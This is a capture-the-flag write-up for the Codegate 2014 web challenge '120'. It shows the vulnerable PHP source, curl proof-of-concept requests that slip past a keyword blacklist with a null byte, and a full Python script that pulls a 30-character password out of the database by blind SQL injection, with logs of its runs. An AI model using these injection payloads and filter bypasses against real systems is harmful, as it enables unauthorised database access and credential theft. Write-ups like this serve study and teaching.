Codegate 2014: "120" 500 pts

This web task, in short, required us to guess a randomly generated 30 char password in less than 120 trials.
We had the following source:

<?php
session_start();
 
$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);
 
function RandomString()
{
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    if(ctype_lower($t)){
    $randstring .= $t;
    }
  }
  return $randstring;
}
 
$max_times = 120;
 
if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}
 
if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();
 
  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);
 
  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;
 
if ( $_POST['password'] ){
 
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }
 
  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}
 
@mysql_close($link);
?>

So, the obvious method was to somehow use a blind sql injection attack to recover the password:

  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";

The problem is that many useful statements/keywords are blacklisted:

  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

So there are 3 major roadblocks:

To get around the first one we need to create a true/false primitive. We could do this through a sleep but at the time the server was under heavy load so the output wasn't too reliable.
Another idea is to use the source itself as it has exit(“True”) and exit(“False”). Proof of concept:

$ curl  http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php  -d "password=1' or '1'='1') or password=('" 
True
$ curl  http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php  -d "password=1' or '1'='2') or password=('" 
False

Now we need to bypass the blacklisting. The eregi function has a null-byte vulnerability such that it stops checking whenever it encounters *%00*. Let's try it:

$ curl  http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php  -d "password=1'    or (select True) ) or password=('" 
Wrong access
$ curl  http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php  -d "password=%001' or (select True) ) or password=('" 
True
$ curl  http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php  -d "password=%001' or (select False) ) or password=('" 
False

Now we could replace select True/False with (select password from rms_120_pw where ip='A.B.C.D' limit 0,1 ) like 'a%' and so on to find out what is the first letter. However, 26 letters times 30 characters is more than 120 so the password would get reset in the middle of brute-forcing.

To get past this last hurdle we can use an easy trick: start a session on an IP and brute-force it from another IP. I used a laptop tethered to my phone to start a session, obtained the IP and brute-forced it on my desktop PC.

Here's my brute force script:

#!/usr/bin/python
import os,string
from subprocess import Popen,PIPE
 
def try_data(query_list, distinguisher, async_enabled):
 
	procs = {}
	for (idx, query) in enumerate(query_list):
		p = Popen(["curl", "-b", "cookies.txt", "-s", "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php", "-d", "password=%%001\' or %s) or password=(\'" % query], stdout = PIPE)
		procs[query] = p
		if async_enabled:
			continue
		else:
			p.wait()
			output = p.stdout.read()
			print "Query [%s] -> [%s]" % (query, output )
			if output == distinguisher:
				return idx
	ret = None
	for (idx,query) in enumerate(query_list):
		while procs[query].poll() is None:
			pass
		output = procs[query].stdout.read() 
		if async_enabled:
			print "Query [%s] -> [%s]" % (query, output )
		if output == distinguisher:
			ret = idx
 
	return ret
 
 
 
 
def get_password(ip, aggressive_enabled):
	prefix = ''
 
	while len(prefix) != 30:
		queries = []
		letters = list(string.lowercase)
		for i in letters:
			s = " ( select password from rms_120_pw where ip='%s' limit 0,1 ) like '%s%%' " % (ip, prefix + i )
			queries.append(s)
		idx = try_data(queries, "True", aggressive_enabled)
		if idx == None:
			print "No letter matched. Something is wrong"
			exit(-1)
		else:
			prefix = prefix + letters[idx]
			print "Password is [%s] " % (prefix + "?" * (30 - len(prefix) ) )
 
 
 
ip = "89.136.137.72"
get_password(ip, aggressive_enabled = False)

Note that there are 2 versions: the asynchronous (aggressive) and the synchronous one; The first one starts 26 queries at a time and waits for them to end, the second one starts one at a time in order not to load the server too much. Here's a comparison:

$ time python solution.py #sync
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'o%' ] -> [True]
Password is [o?????????????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'oh%' ] -> [True]
Password is [oh????????????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohs%' ] -> [True]
Password is [ohs???????????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsn%' ] -> [True]
Password is [ohsn??????????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnw%' ] -> [True]
Password is [ohsnw?????????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwt%' ] -> [True]
Password is [ohsnwt????????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtu%' ] -> [True]
Password is [ohsnwtu???????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuo%' ] -> [True]
Password is [ohsnwtuo??????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuob%' ] -> [True]
Password is [ohsnwtuob?????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobx%' ] -> [True]
Password is [ohsnwtuobx????????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxi%' ] -> [True]
Password is [ohsnwtuobxi???????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxib%' ] -> [True]
Password is [ohsnwtuobxib??????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibc%' ] -> [True]
Password is [ohsnwtuobxibc?????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibci%' ] -> [True]
Password is [ohsnwtuobxibci????????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibcio%' ] -> [True]
Password is [ohsnwtuobxibcio???????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibcioc%' ] -> [True]
Password is [ohsnwtuobxibcioc??????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibcioci%' ] -> [True]
Password is [ohsnwtuobxibcioci?????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocir%' ] -> [True]
Password is [ohsnwtuobxibciocir????????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocira%' ] -> [True]
Password is [ohsnwtuobxibciocira???????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirah%' ] -> [True]
Password is [ohsnwtuobxibciocirah??????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciociraha%' ] -> [True]
Password is [ohsnwtuobxibciociraha?????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahae%' ] -> [True]
Password is [ohsnwtuobxibciocirahae????????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeu%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeu???????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeui%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeui??????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuiv%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuiv?????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuive%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuive????] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuives%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuives???] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuivess%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuivess??] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuivessa%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuivessa?] 
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuivessat%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuivessat] 
 
real	3m59.768s
user	0m0.972s
sys	0m1.420s
$ time python solution.py  #async
Password is [s?????????????????????????????] 
Password is [se????????????????????????????] 
Password is [sec???????????????????????????] 
Password is [sece??????????????????????????] 
Password is [secet?????????????????????????] 
Password is [secetl????????????????????????] 
Password is [secetlt???????????????????????] 
Password is [secetltt??????????????????????] 
Password is [secetlttm?????????????????????] 
Password is [secetlttmr????????????????????] 
Password is [secetlttmrm???????????????????] 
Password is [secetlttmrme??????????????????] 
Password is [secetlttmrmen?????????????????] 
Password is [secetlttmrment????????????????] 
Password is [secetlttmrmento???????????????] 
Password is [secetlttmrmentot??????????????] 
Password is [secetlttmrmentoto?????????????] 
Password is [secetlttmrmentotoh????????????] 
Password is [secetlttmrmentotoha???????????] 
Password is [secetlttmrmentotohax??????????] 
Password is [secetlttmrmentotohaxs?????????] 
Password is [secetlttmrmentotohaxsc????????] 
Password is [secetlttmrmentotohaxscb???????] 
Password is [secetlttmrmentotohaxscba??????] 
Password is [secetlttmrmentotohaxscbag?????] 
Password is [secetlttmrmentotohaxscbagn????] 
Password is [secetlttmrmentotohaxscbagnt???] 
Password is [secetlttmrmentotohaxscbagnts??] 
Password is [secetlttmrmentotohaxscbagntss?] 
Password is [secetlttmrmentotohaxscbagntssz] 
 
real	0m43.214s
user	0m33.309s
sys	0m10.614s

Sometimes, the async version had some problems but I didn't have time for debugging since the sync one worked perfectly.
Upon entering the correct password in auth.php we get the key:

Congrats! the key is DontHeartMeBaby*$#@!